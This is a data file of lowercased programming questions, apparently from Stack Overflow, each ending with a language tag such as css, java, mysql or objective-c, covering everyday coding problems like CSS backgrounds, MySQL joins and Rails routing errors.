how to make the long text message within the div  i have a long message inside the div box  and i am looking for a way to show the that text message within the div with scroll bar (vertical) and i have two links to it as you can see: 1)disclaimer 2)behavior the above links are hyperlink so when i click those links i display the below divs based on the selection. so is that possible to show the div underneath the hyperlink with nice model div or something     i am not a css guy so if possible make the div box look awesome :)   <pre><code>&lt;span &gt;&lt;a href= #  &gt;disclaimer-1&lt;/a&gt;&lt;/span&gt; &lt;span class= slide1 &gt;         &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &lt;a href= #  class= slide1 &gt;behavior&lt;/a&gt;&lt;/span&gt;     &lt;div id= one  &gt;         lorem ipsum is simply dummy text of the printing and typesetting industry. lorem ipsum has been the industry s standard dummy text ever since the 1500s      &lt;/div&gt;     &lt;div id= second  &gt;           lorem ipsum is simply dummy text of the printing and typesetting industry. lorem ipsum has been the industry s standard dummy text ever since the 1500s         &lt;/div&gt; </code></pre>,css
when i use css-position relative  how do i make it so that the elements original position does not block other floated elemnts position   what the title says ;)    the place where the item used to be is now a void.,css
regarding saving text file in c programming  i try to get an idea how to save a text file while i keep the user write the name of this text file.   <pre><code>char filename[20]; gets(filename); fp = fopen ( filename   wb+ ); </code></pre>   when i save it  it will not be a text file.    i can do it by <code>f=fopen( file.txt    r )</code> but i want the name is chosen by the user.,c
is possible to chage debug flag mode in runtime   i m thinking in change programmatically in run-time for a debug to no debug versión of app. i know the flag flag_debuggable especificated by manifest.xml. is posible change this value in run-time . i think no because it would involve introduce/remove debug info in the app.    thanks!.,android
nsmutablearray replace content   i have a custom object and nsmutablearray as instance member. i fill the array with some data after creation. i need a method to replace the content of the array. i tried:   <pre><code>-(void)replacearr:(myclass*) obj {  [mlist removeallobjects];  nsmutablearray * temparr=[obj mlist];  mlist=[nsmutablearray initwitharray:temparr]; } </code></pre>   but it is failed on   <pre><code>mlist=[nsmutablearray initwitharray:temparr]; </code></pre>,objective-c
why does objective-c use yes and no instead of 1 and 0   is there any technical reason why objective-c uses yes and no instead of 1 and 0  or is it simply to make it more readable,objective-c
why javascript s charat() with a string returns the first letter  i am doing some exercises in my object-oriented javascript book  i notice that this:   <pre><code>var a =  hello ; a.charat( e ); //  h  a.charat( adfadf ); // h  </code></pre>   why is the string in the argument seemingly evaluated to the integer 0 for the charat() method for strings     edit: i was aware that the charat() s usage usually takes an integer  and the exercise feeds charat() with a string  and i also was aware that the string is likely then to be coerced into an integer first  which i did verify to be nan. thanks kendall  for suggesting putting this missing bit of information in the question proper    thanks!,javascript
no architectures to compile for (only_active_arch=yes  active arch=x86_64  valid_archs=i386)   this is the error i am getting when compiling my project.    i have tried changing the architectures  still get the error.,ios
initialization makes pointer from integer without a cast  i declare  extern nsdate *choosedate  in my  global.h  file.  i include this file in my  blueview  and in blueview i add the line  nsdate *choosedate = yes .  i get the warning message as shown in the title.  i have read up on this  and i understand that the warning is saying that i am trying to assign an object to an integer.  the part i don t get is that i am declaring choosedate as an nsdate in both files.  i don t understand how either is an integer.  the funny part is that my program works correctly  i am just trying to get rid of this warning.  any help would be greatly appreciated.,objective-c
selecting number of id s using loop in javascript  i have 5 different id s as below:   <pre><code>&lt;div id = box1 &gt;&lt;/div&gt; &lt;div id = box2 &gt;&lt;/div&gt; &lt;div id = box3 &gt;&lt;/div&gt; &lt;div id = box4 &gt;&lt;/div&gt; &lt;div id = box5 &gt;&lt;/div&gt; </code></pre>   is there any way to call each id using for loop in javascript    <pre><code>for(int i=0; i&lt;5; i++){ //i want to call those ids each at a time. at first box1  then box2... } </code></pre>,javascript
reflecting user action to another machine  today i got a task to create an utility to reflect user s action on a machine to another machine in network.    e.g. if i open a ie on my machine then  ie should get opened on remote machine. if i open a google.com on my machine then  google.com should get opened on remote machine. if i search stackoverflow.com on my machine  then searching result should also get opened on remote machine. mouse on movement on machine should also get reflected on remote machine    if anybody have idea  please share.,.net
how to apply html required in vuejs radio button   i have two radio button.   <pre><code>&lt;div class= col-md-4 &gt;yes : &lt;input id= default_yes  value= 1  type= radio  v-model= default &gt;&lt;/div&gt;  &lt;div class= col-md-8 &gt;no : &lt;input id= default_no  value= 0  type= radio  v-model= default &gt;&lt;/div&gt; </code></pre>   how to apply html required in vuejs radio button,html
access already running objects - java <pre><code>   import java.awt.*;     import javax.swing.*;    import javax.swing.table.defaulttablecellrenderer;    import javax.swing.table.tablecolumn;      public class vasilistable extends jframe {      object[] split_data_l;      object[][] split_data;     object [][] split_data_clone;     object [][] split_data_reverse;     object [][] split_data_reverse_num;     string[] temp;     private jtable table;     private jpanel bottom_panel;     private jlabel average;     private jlabel max_dr;      public vasilistable(string name  string data  int choice)     {         super(name);         setdefaultcloseoperation(jframe.dispose_on_close); //the dispose_on_close    means that when we press the x button is will close only the table window and not the whole    programm         //this.getaccessiblecontext().setaccessiblename(name);         //system.out.println(this.getaccessiblecontext().getaccessiblename());         setsize(800 600);            string[] columnnames = { date    open   high   low   close                     volume    adjusted  };//defines the column names           //------ start of making the arrays that will be used as data for the table creation          split_data_l = data.split(  \n  );         int lngth = split_data_l.length;         split_data = new object[lngth-1][7];         split_data_clone = new object[lngth-1][7];         split_data_reverse= new object[lngth-1][7];         split_data_reverse_num= new object[lngth-1][7];         double sum = 0;          for(int k=1; k&lt;split_data_l.length; k++) //initializing the three arrays with the data we got from the urlreader          {             temp = split_data_l[k].tostring().split(   );             for (int l=0; l&lt;temp.length; l++)             {                 split_data[k-1][l] = temp[l];                 split_data_clone[k-1][l] = temp[l];                 split_data_reverse[k-1][l] = temp[l];                 split_data_reverse_num[k-1][l] = temp[l];             }         }            for(int k=split_data_l.length-2; k&gt;=1; k--) // making of the clone array that contains all the last column with colours         {             double temp = double.parsedouble(split_data[k][6].tostring());             double temp1  = double.parsedouble(split_data[k-1][6].tostring());             double check =temp-temp1;                         if (check&gt;0)             {                 string color_temp =  &lt;html&gt;&lt;span style =  color:red &gt;  + split_data_clone[k-1][6] + &lt;/span&gt;&lt;/html&gt;  ;                 split_data_clone[k-1][6] = color_temp;             }             else             {                 string color_temp =  &lt;html&gt;&lt;span style =  color:green &gt;  +split_data_clone[k-1][6]+ &lt;/span&gt;&lt;/html&gt;  ;                 split_data_clone[k-1][6] = color_temp;             }          }          int l = split_data_clone.length;         int m = l-1;          for (int i=0; i&lt;l; i++) //making of the reversed array         {             for (int j = 0; j&lt;=6; j++)             {                 split_data_reverse[i][j]=split_data_clone[m][j];             }             m--;         }          m = l-1;          for (int i=0; i&lt;l; i++) //making of the reversed array         {             for (int j = 0; j&lt;=6; j++)             {                 split_data_reverse_num[i][j]=split_data[m][j];             }             m--;         }              //------ end of making the arrays that will be used as data for the table creation         //------ start of calculating the average         for (int i=0; i&lt;lngth-1; i++)         {             double temp = double.parsedouble(split_data[i][6].tostring());             sum = sum+temp;             //system.out.println( turn  +i+  =  +split_data[i][6]);         }          float avg = (float) (sum/(lngth-1));         avg = round((float) avg 2);         string avg_str;         avg_str =  &lt;html&gt;average: &lt;b&gt; +avg+ &lt;/b&gt;&lt;/html&gt; ;         // &lt;html&gt;&lt;b&gt;average: &lt;/b&gt;&lt;/html&gt;           //------ end of calculating the average         //------ start of calculating the maximal drawdown          double high=0;         double low=100000000;         double drawdown=0;         double max_drawdown=0;         int last_high=0;         int last_low=0;          for (int i=0; i&lt;lngth-1; i++)         {             double temp = double.parsedouble(split_data_reverse_num[i][6].tostring());             //double temp1 = double.parsedouble(split_data[i+1][6].tostring());              if (temp&gt;high)             {                 high = temp;                 last_high = i;                 //system.out.println( max high =  +temp);             }             else             {                 low = temp;                 last_low = i;                 //system.out.println( max low =  +temp);             }             if (last_low&gt;last_high)             {                 drawdown = high-low;                 //system.out.println( drawdown =  +drawdown);              }             if (drawdown&gt;max_drawdown)             {                 max_drawdown = drawdown;             }         }           //system.out.println( max dr =  +max_drawdown);         string max_dr_str =  &lt;html&gt;maximal drawdown: &lt;b&gt; +max_drawdown+ &lt;/b&gt;&lt;/html&gt; ;         //------ end of calculating the maximal drawdown            average = new jlabel(avg_str);         max_dr = new jlabel(max_dr_str);         bottom_panel = new jpanel();         string space =          ;         jlabel space_lbl = new jlabel(space);         bottom_panel.add(average);         bottom_panel.add(space_lbl);         bottom_panel.add(max_dr);          //-------- start of table creation ---------          if(choice==1)         {             table = new jtable(split_data_clone  columnnames);//creates an instance of the table with chronological order         }else         {             table = new jtable(split_data_reverse  columnnames);//creates an instance of the table with reverse chronological order         }          tablecolumn column = null;         for (int i = 0; i &lt; 7; i++) {             column = table.getcolumnmodel().getcolumn(i);             if (i == 0) {                 column.setpreferredwidth(100); //third column is bigger             } else if (i == 5) {                 column.setpreferredwidth(85); //third column is bigger             }             else if (i == 6) {                 column.setpreferredwidth(70); //third column is bigger             }             else {                 column.setpreferredwidth(50);             }         }         table.setshowgrid(true);         table.setgridcolor(color.black);          //-------- end of table creation ---------                jpanel table_panel = new jpanel (new borderlayout());                jscrollpane table_container = new jscrollpane(table); // create a container where we will put the table         //table.setfillsviewportheight(true); // if the information are not enough it still fill the rest of the screen with cells          table_panel.add(table_container  borderlayout.center);         table_panel.add(bottom_panel  borderlayout.south);         //table_panel.add();          setcontentpane (table_panel);          pack(); // here i pack the final result to decrease its dimensions       }      public float round(float rval  int rpl) // this functions rounds the number to 2 decimal points     {     float p = (float)math.pow(10 rpl);     rval = rval * p;     float tmp = math.round(rval);     return (float)tmp/p;     }      } </code></pre>   i am making an application which creates various instances of a class. these instances are actually some windows. after having create multiple of these windows  how can i access one of them and bring it in front  i know the .tofront() method  but how can i specify the window that i want to bring in front     above is the code that creates every window. my main problem is that after i have create e.g 5 windows  how can i access one of them     ps     code that creates each window:   <pre><code>  if (sdata != null) {                     //system.out.println( success  waiting response );                      vasilistable ftable = new vasilistable(name  sdata  choice);                      hashmap.put(name  ftable);                     ftable.setvisible(true);                      //choice=2;                    }     </code></pre>,java
rails actionview::templateerror (shop_url failed to generate from  i m getting this but i have not changed any of these codes. and my development environment works perfectly fine. this happens in production.    this happen when there is matching entries. when there is no matching entries  it s ok (obviously!).   <pre><code>processing shopscontroller#index (for 118.100.246.177 at 2010-11-25 01:46:48) [get]   parameters: { country =&gt; france    action =&gt; index    filter =&gt; on    order =&gt; rating_descend    type =&gt; places    controller =&gt; shops    keyword =&gt;  } rendering template within layouts/application rendering shops/index  actionview::templateerror (shop_url failed to generate from {:type=&gt; places   :action=&gt; show   :controller=&gt; shops }  expected: {:controller=&gt; shops   :action=&gt; show }  diff: {:type=&gt; places }) on line #50 of app/views/shops/index.html.erb: 47:  48:               &lt;% @shops.each do |shop| %&gt; 49:                 &lt;div id= &lt;%= dom_id(shop) %&gt;  class= item &gt; 50:                   &lt;a href= &lt;%= shop_path(shop  :type =&gt; @type) %&gt; &gt; 51:                     &lt;% if !shop.photos.blank  %&gt; 52:                       &lt;%= image_tag(shop.photos.last.url(:thumb)  :class =&gt;  thumbnail ) %&gt; 53:                     &lt;% else %&gt;      facebooker (1.0.75) lib/facebooker/rails/facebook_url_rewriting.rb:53:in `rewrite_url      facebooker (1.0.75) lib/facebooker.rb:200:in `request_for_canvas      facebooker (1.0.75) lib/facebooker/rails/facebook_url_rewriting.rb:52:in `rewrite_url      (eval):17:in `shop_path      app/views/shops/index.html.erb:50     /opt/ruby-enterprise-1.8.7-2010.02/lib/ruby/gems/1.8/gems/thinking-sphinx-1.3.20/lib/thinking_sphinx/search.rb:137:in `each      /opt/ruby-enterprise-1.8.7-2010.02/lib/ruby/gems/1.8/gems/thinking-sphinx-1.3.20/lib/thinking_sphinx/search.rb:137:in `send      /opt/ruby-enterprise-1.8.7-2010.02/lib/ruby/gems/1.8/gems/thinking-sphinx-1.3.20/lib/thinking_sphinx/search.rb:137:in `method_missing      app/views/shops/index.html.erb:48     /opt/ruby-enterprise-1.8.7-2010.02/lib/ruby/gems/1.8/gems/authlogic-oauth-1.0.8/lib/oauth_callback_filter.rb:10:in `call      /opt/ruby-enterprise-1.8.7-2010.02/lib/ruby/gems/1.8/gems/authlogic-oauth-1.0.8/lib/oauth_callback_filter.rb:10:in `call      passenger (2.2.15) lib/phusion_passenger/rack/request_handler.rb:92:in `process_request      passenger (2.2.15) lib/phusion_passenger/abstract_request_handler.rb:207:in `main_loop      passenger (2.2.15) lib/phusion_passenger/railz/application_spawner.rb:441:in `start_request_handler      passenger (2.2.15) lib/phusion_passenger/railz/application_spawner.rb:381:in `handle_spawn_application      passenger (2.2.15) lib/phusion_passenger/utils.rb:252:in `safe_fork      passenger (2.2.15) lib/phusion_passenger/railz/application_spawner.rb:377:in `handle_spawn_application      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:352:in `__send__      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:352:in `main_loop      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:196:in `start_synchronously      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:163:in `start      passenger (2.2.15) lib/phusion_passenger/railz/application_spawner.rb:222:in `start      passenger (2.2.15) lib/phusion_passenger/spawn_manager.rb:253:in `spawn_rails_application      passenger (2.2.15) lib/phusion_passenger/abstract_server_collection.rb:126:in `lookup_or_add      passenger (2.2.15) lib/phusion_passenger/spawn_manager.rb:247:in `spawn_rails_application      passenger (2.2.15) lib/phusion_passenger/abstract_server_collection.rb:80:in `synchronize      passenger (2.2.15) lib/phusion_passenger/abstract_server_collection.rb:79:in `synchronize      passenger (2.2.15) lib/phusion_passenger/spawn_manager.rb:246:in `spawn_rails_application      passenger (2.2.15) lib/phusion_passenger/spawn_manager.rb:145:in `spawn_application      passenger (2.2.15) lib/phusion_passenger/spawn_manager.rb:278:in `handle_spawn_application      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:352:in `__send__      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:352:in `main_loop      passenger (2.2.15) lib/phusion_passenger/abstract_server.rb:196:in `start_synchronously   rendering template within layouts/application rendering errors/500.html.erb (500) [paperclip] saving attachments. </code></pre>   when my <code>type</code> is others like <code>garages</code>  <code>malls</code>  etc.  they all worked perfectly well. i even rebuilt my thinking sphinx index.    <strong>update</strong> turns out mysql id autoincrement from 1  2  3... i deleted the 1  2  3 entry and replace the id with 200000  200001  200002 and it gave me problem. didn t know rails was so strict.,ruby-on-rails
create method that has dynamic number of parametr  is possible to create method with dynamic number of parameter in c#     for example   <pre><code>public void sum(dynamic arguments//like javascript) {    //loop at run-time  on arguments and sum } </code></pre>  <blockquote>    can i use dynamic object   </blockquote>,c#
custom label and textbox is not working for 508 compliance  i have a problem like i need to my web pages to be 508 compliance some of the lables and textboxes are custom created and that are not working in 508 test all other normal lable and textbox are working fine. can anybody help me how custom made textbox and label compliance with 508 test.    thanks,asp.net
easiest way to replace some single quotes in javascript   so i have the following example string: <code> sam s place </code> and i want to change it to <code> sam s place </code>. is there an easy way to manipulate a sting with single quotes into using double quotes  the important part is to keep the one single quote in the string.    i have tried:   <pre><code>var samsplacename = samsplace.replace(/ /g     );  // and:  json.stringify(samsplace);  // both give me:   sam s place     sam s place   </code></pre>   all i want is to change the string to be: <code> sam s place </code>.    can this be done,javascript
why i can not create table in mysql with the name check  i wanted to create a table check but i do not why its not creating in the name check.i thought if i have made any errors in command so i changed to the name check1 and its working.may i know the reason for this    <pre><code>create table check(      name  varchar(100) not null     password varchar(40) not null     ); create table check1(      name  varchar(100) not null     password varchar(40) not null     ); </code></pre>   <img src= https://i.stack.imgur.com/efjww.jpg  alt= enter image description here >,mysql
mysql update join statement  update: i made a mistake in the import. all my  building  fields in companies had an extra question mark. not sure how this happened. anyway this is solved.    a newbie question  (yes  i have tried for hours and hours to do this)    i am trying to update a database with two tables.    the tables look similar to this.    latlon3:   <pre><code>  id building roadno block  lat2   lon2    1  1331     5943    3    35.55  54.55 </code></pre>   companies:   <pre><code>  id building roadno block latitude longitude    1  1331     5843    3     empty    empty </code></pre>   ok. so i need to update the companies table  from the latlon3 table  if all three conditions are true(this is a must). the building  roadno  and block. this is what i have so far:   <pre><code> update companies t  join latlon3 a using (building  roadno  block)  set t.latitude = a.lat2  t.longitude = a.lon2  where t.latitude =    and t.longitude =    </code></pre>   it always shows zero rows affected. this is my problem. the table companies don t update with the corresponding latitude and longitude fields from latlon3 table.    any help would be appreciated.,mysql
can you decipher the difference between this switch() and an equivalent for()   this one works as intended:   <pre><code>    if (clu.raw.butsnum) {         int i;         for (i=0;i&lt;clu.raw.butsnum;i++){             if (clu.raw.buts[i] &amp; ri_mouse_button_1_down)                 com_queueevent( 0  se_key  k_mouse1  qtrue  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_2_down)                 com_queueevent( 0  se_key  k_mouse2  qtrue  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_3_down)                 com_queueevent( 0  se_key  k_mouse3  qtrue  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_4_down)                 com_queueevent( 0  se_key  k_mouse4  qtrue  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_5_down)                 com_queueevent( 0  se_key  k_mouse5  qtrue  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_1_up)                 com_queueevent( 0  se_key  k_mouse1  qfalse  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_2_up)                 com_queueevent( 0  se_key  k_mouse2  qfalse  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_3_up)                 com_queueevent( 0  se_key  k_mouse3  qfalse  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_4_up)                 com_queueevent( 0  se_key  k_mouse4  qfalse  0  null );             if (clu.raw.buts[i] &amp; ri_mouse_button_5_up)                 com_queueevent( 0  se_key  k_mouse5  qfalse  0  null );         }         clu.raw.butsnum = 0; </code></pre>   but this one     <pre><code>if (clu.raw.butsnum) {         short int   down        = qfalse;         int         but = 0  i;          for (i = 0; i &lt; clu.raw.butsnum; i++) {             switch( clu.raw.buts[i]) {                 case     ri_mouse_button_1_down:        down = qtrue;   but = k_mouse1; break;                 case     ri_mouse_button_2_down:        down = qtrue;   but = k_mouse2; break;                 case     ri_mouse_button_3_down:        down = qtrue;   but = k_mouse3; break;                 case     ri_mouse_button_4_down:        down = qtrue;   but = k_mouse4; break;                 case     ri_mouse_button_5_down:        down = qtrue;   but = k_mouse5; break;                 case     ri_mouse_button_1_up:      down = qfalse;  but = k_mouse1; break;                 case     ri_mouse_button_2_up:      down = qfalse;  but = k_mouse2; break;                 case     ri_mouse_button_3_up:      down = qfalse;  but = k_mouse3; break;                 case     ri_mouse_button_4_up:      down = qfalse;  but = k_mouse4; break;                 case     ri_mouse_button_5_up:      down = qfalse;  but = k_mouse5; break;             }             com_queueevent( 0  se_key  but  down  0  null );         }     }     clu.raw.butsnum = 0; </code></pre>   ..sometimes  loses it  and if some of the  mouse buttons  (in that code) aren t pressed if they are hit too fast.    anyway  the relevance of the code itself i guess is little.     why do those pieces of code don t do exactly the same thing,c
server error in  /  application. asp.net  greeting     i developed a website using asp.net 3.5 and c#. it is working good with visual stdio 2010. i uploaded my website to my domain under the public folder.    first time i lunched my website for testing (http://wecoders.com/habib_cuizine/gallery.aspx)  i would revive (server error in  /  application.)   <blockquote>    runtime error description: an   application error occurred on the   server. the current custom error   settings for this application prevent   the details of the application error   from being viewed remotely (for   security reasons). it could  however    be viewed by browsers running on the   local server machine.        details: to enable the details of this   specific error message to be viewable   on remote machines  please create a    tag within a    web.config  configuration file   located in the root directory of the   current web application. this    tag should then have   its  mode  attribute set to  off .  </blockquote>  <pre><code>&lt;!-- web.config configuration file --&gt; &gt;  &gt; &lt;configuration&gt; &gt;     &lt;system.web&gt; &gt;         &lt;customerrors mode= off /&gt; &gt;     &lt;/system.web&gt; &lt;/configuration&gt; </code></pre>  <blockquote>    notes: the current error page you are   seeing can be replaced by a custom   error page by modifying the    defaultredirect  attribute of the   application s    configuration tag to point to a custom   error page url.  </blockquote>  <pre><code>&gt; &lt;!-- web.config configuration file --&gt; &gt;  &gt; &lt;configuration&gt; &gt;     &lt;system.web&gt; &gt;         &lt;customerrors mode= remoteonly  &gt; defaultredirect= mycustompage.htm /&gt; &gt;     &lt;/system.web&gt; &lt;/configuration&gt; </code></pre>   to fix this error i added to the webconfig file inside  tag:   <pre><code>&gt; &lt;customerrors mode= off /&gt; </code></pre>   after that when i lunch the website i would receive a new error as listed bellow:    configuration error description: an error occurred during the processing of a configuration file required to service this request. please review the specific error details below and modify your configuration file appropriately.    parser error message: it is an error to use a section registered as allowdefinition= machinetoapplication  beyond application level.  this error can be caused by a virtual directory not being configured as an application in iis.    source error:    line 35:             asp.net to identify an incoming user.    <pre><code>line 36:         --&gt; line 37:         &lt;authentication mode= windows  /&gt; line 38:         &lt;!-- </code></pre>   line 39:             the  section enables configuration     source file: \10.0.40.35\wecoders.com\public\habib_cuizine\web.config    line: 37     please advice how to fix this error and how configure  my website which developed using visual stdio 2010 to be published in the internet.    regards,asp.net
what is the purpose of commenting out function argument names   i m working with this sdk that generates a skeleton plugin project  as in  all the functions required by the host application are there  just not filled.    initially  all the function definitions are sorta like this:   <pre><code>void mod1::modifyobject(timevalue /*t*/  modcontext&amp; /*mc*/  objectstate* /*os*/  inode* /*node*/) {} </code></pre>   with the argument names commented out  why is that  as far as i can tell  if i m not using the arguments  it makes no difference whether the names are there or not.,c++
how to get dimension of a 2-d array in objective c   i am passing a two dimensional array to a method and in the method i want to calculate the dimension of the array. i am able to calculate the number of elements by    <pre><code>length = (sizeof(data)/(sizeof(data[0])); </code></pre>   but i am not able to get the number of rows and columns.    i tried to create a 2-d nsarray from the given array but was unable to do it without the size of array.,objective-c
list files from directories and sub directories in java including only partial file paths  i need to get the paths of files and their parent directories in java from a given directory but not including it.     so for example  if my method was given the path: <code>/home/user/test</code> as a path it would return the paths of all files in that directory and under it.    so if <code>/home/user/test</code> had the sub folders: <code>/subdir1</code> and <code>/subdir2</code> each containing <code>file1.txt</code> and <code>file2.txt</code> then the result of the method would be 2 strings containing <code>/subdir1/file1.txt</code> and <code>/subdir2/file2.txt</code>    and if <code>subdir1</code> had a directory inside it called <code>subsubdir</code> and inside that <code>file3.txt</code>  then the string created for that file would be <code>/subdir1/subsubdir/file3.txt</code>  and if there are further sub directories that would continue.     the idea is i just want the directory paths above the file but not the absolute path so only the directories after the initial given path.    i know its a little confusing but i m sure someone can make sense of it. right now all i have is a recursive function that prints out file names and their absolute paths.     any assistance on this,java
im unable to get the appcompat version in my app level gradle file in android this is my code <pre><code>apply plugin:  com.android.application   android {     compilesdkversion 26     defaultconfig {         applicationid  com.mansi.mymini          minsdkversion 18         targetsdkversion 26         versioncode 1         versionname  1.0          testinstrumentationrunner  android.support.test.runner.androidjunitrunner      }     buildtypes {         release {             minifyenabled false             proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro          }     } }  dependencies {     implementation filetree(dir:  libs   include: [ *.jar ])     compile  com.android.support:appcompat-v7:27.1.1      implementation  com.android.support.constraint:constraint-layout:1.1.0      implementation  com.google.firebase:firebase-auth:11.8.0      compile  com.google.firebase:firebase-database:11.8.0      compile  com.google.firebase:firebase-firestore:11.8.0      testimplementation  junit:junit:4.12      androidtestimplementation  com.android.support.test:runner:1.0.2      androidtestimplementation  com.android.support.test.espresso:espresso-core:3.0.2      implementation  de.hdodenhof:circleimageview:2.2.0      compile  com.theartofdev.edmodo:android-image-cropper:2.7.+  } </code></pre>   facing problem at <code>compile  com.android.support:appcompat-v7:27.1.1 </code>,android
why is is_float() returning true for whole numbers   i am confused by <a href= https://stackoverflow.com/questions/14866713/checking-if-a-number-is-float-in-php ><strong>this answer</strong></a>.   <ol> <li>below code is not working</li> </ol>  <blockquote> <pre><code>$percentagediscount = $actualprice * ($discount/100);      $payableamt1 = $actualprice - $percentagediscount;       $payableamt = $payableamt1+0;  echo $payableamt;                                                   if(is_float($payableamt)){   print_r(  is float ); }      else{   print_r(  is not float ); } </code></pre> </blockquote>  <pre><code>output: 200 is float </code></pre>  <ol start= 2 > <li>this is working when i test with </li> </ol>  <blockquote> <pre><code>$payableamt1 = 200;     $payableamt = $payableamt1+0;  echo $payableamt;      if(is_float($payableamt)){       print_r(  is float ); }      else{         print_r(  is not float ); } </code></pre> </blockquote>  <pre><code>output: 200 is not float </code></pre>,php
tolower() not lowercasing string  <pre><code> list&lt;string&gt; expectedresult = new list&lt;string&gt; {  article i    article ii    article iii  };   string result = selenium.gettext( result_list );  if (expectedresult.any(result.tolower().contains))  {     // do something  } </code></pre>   i get <code>result =  article i </code>  but <code>expectedresult.any(result.tolower().contains)</code> returns false. not sure why <code>tolower()</code> is not working      can anyone review my work  and let me know if i m doing things right here,c#
mysql how to update child table value with foreign key while insert data based on parent table  i have 2 table  a parent table and child table. child table has foreign key to parent table. i have successfully create the foreign key. but how to auto update field  nama  based on parent table while i only insert  id_parent    i only tried :   <pre><code>insert into child (id_parent) values (1) </code></pre>   but field  name  value is still null    here my tables :   <pre><code>create table `child` (   `id` int(6) not null auto_increment    `id_parent` int(6) default null    `nama` varchar(20) default null    primary key (`id`)    key `aa` (`nama` `id_parent`)    constraint `aa` foreign key (`nama`  `id_parent`) references `parent` (`nama`  `id`) ) engine=innodb auto_increment=2 default charset=armscii8;  -- ---------------------------- -- table structure for parent -- ---------------------------- create table `parent` (   `id` int(5) not null auto_increment    `nama` varchar(20) default null    primary key (`id`)    key `nama` (`nama`) ) engine=innodb auto_increment=6 default charset=armscii8; </code></pre>   the parent table has data like this   <pre><code>insert into `parent` values ( 4    asa ); insert into `parent` values ( 1    batman ); insert into `parent` values ( 3    goku ); insert into `parent` values ( 2    robin ); insert into `parent` values ( 5    usu ); </code></pre>,mysql
putting metadata in an html document  i ve been using this nifty trick to store blocks of metadata  be it json or fragments of html:   <pre><code>&lt;script type= text/html &gt;     &lt;p&gt;this gets something done to it later.&lt;/p&gt; &lt;/script&gt; &lt;script type= application/json &gt;     { name : niet   species : absol } &lt;/script&gt; </code></pre>   javascript then gets these tags and uses their contents in some way.    this works great. i only have one problem...   <pre><code>&lt;script type= text/html &gt;     &lt;p&gt;this is a template for something used in many places.&lt;/p&gt;     &lt;p&gt;rather than having  say  a hundred copies of basically the same thing          this lets me define the html once and then re-use it as needed          while allowing for easy editing because it doesn t need mass escaping.&lt;/p&gt;     &lt;p&gt;however  what if i want a template that contains a template &lt;/p&gt;     &lt;script type= text/html &gt;         &lt;p&gt;nested scripts &lt;/p&gt;         &lt;p&gt;that s not gonna work.&lt;/p&gt;     &lt;/script&gt; &lt;/script&gt; </code></pre>   so what do  is there another tag  maybe a new html5 feature i haven t heard of yet  that lets me define template and other data in this way,html
how can i take video using iphone camera  i am developing one application.in that i need to take the capture the video using camera.so please tell me how to do this one.,iphone
how overriding works in the following code   consider the following code in java:   <pre><code>public class superclass {         public void printmethod() {         system.out.println( printed in superclass. );     } } </code></pre>   here is a subclass  called subclass  that overrides printmethod():   <pre><code>public class subclass extends superclass {         // overrides printmethod in superclass     public void printmethod() {         super.printmethod();         system.out.println( printed in subclass );     }     public static void main(string[] args) {         subclass s = new subclass();         s.printmethod();         } } </code></pre>   the output obtained is the following:   <pre><code>printed in superclass printed in subclass </code></pre>   if the subclass is overriding why is superclass <code>println</code> still displaying on screen  it is not suppose only to display the content of the method on the subclass     why is super not being invoked in the following code if the method is overriding    <pre><code>@override public boolean oncreateoptionsmenu(menu menu) {     // inflate the menu; this adds items to the action bar if it is present.     getmenuinflater().inflate(r.menu.main  menu);     return true; } </code></pre>,java
post_order_iterative_traversal in java anyone help me  i want do <strong>post_order_iterative_traversal</strong> in java. i wrote this code then have  the following error :    <code>java.lang.outofmemoryerror: java heap space</code>    plz anyone help me,java
"how to use  background-size : contain  in shorthand property with background with url.   below css is working with contain as it  s separately given as <strong>background-size</strong> but not by using the shorthand given in background    even i also eager to know the <strong>the parameters  sequence for background</strong> property in css    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body { 
     background: #00ff00 url( smiley.gif ) no-repeat fixed center;
     background-size:contain contain; 
 }
 
  body { 
     background: #00ff00 url( smiley.gif ) no-repeat contain contain fixed center; 
 }  
 
 but this is not working as i tried this shorthand method as above </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;
 &lt;p&gt;this is some text&lt;/p&gt;</code></pre>
 </div>
 </div>
     there is not an issue to use separately but need to know that whether any way to use <strong>background-size:contain</strong> in shorthand <strong>background</strong> property     even you can just check it out by making change in w3school s example here is the url for it    <strong><a href= http://www.w3schools.com/cssref/tryit.asp filename=trycss_background  rel= nofollow >click to check your way</a></strong>",css
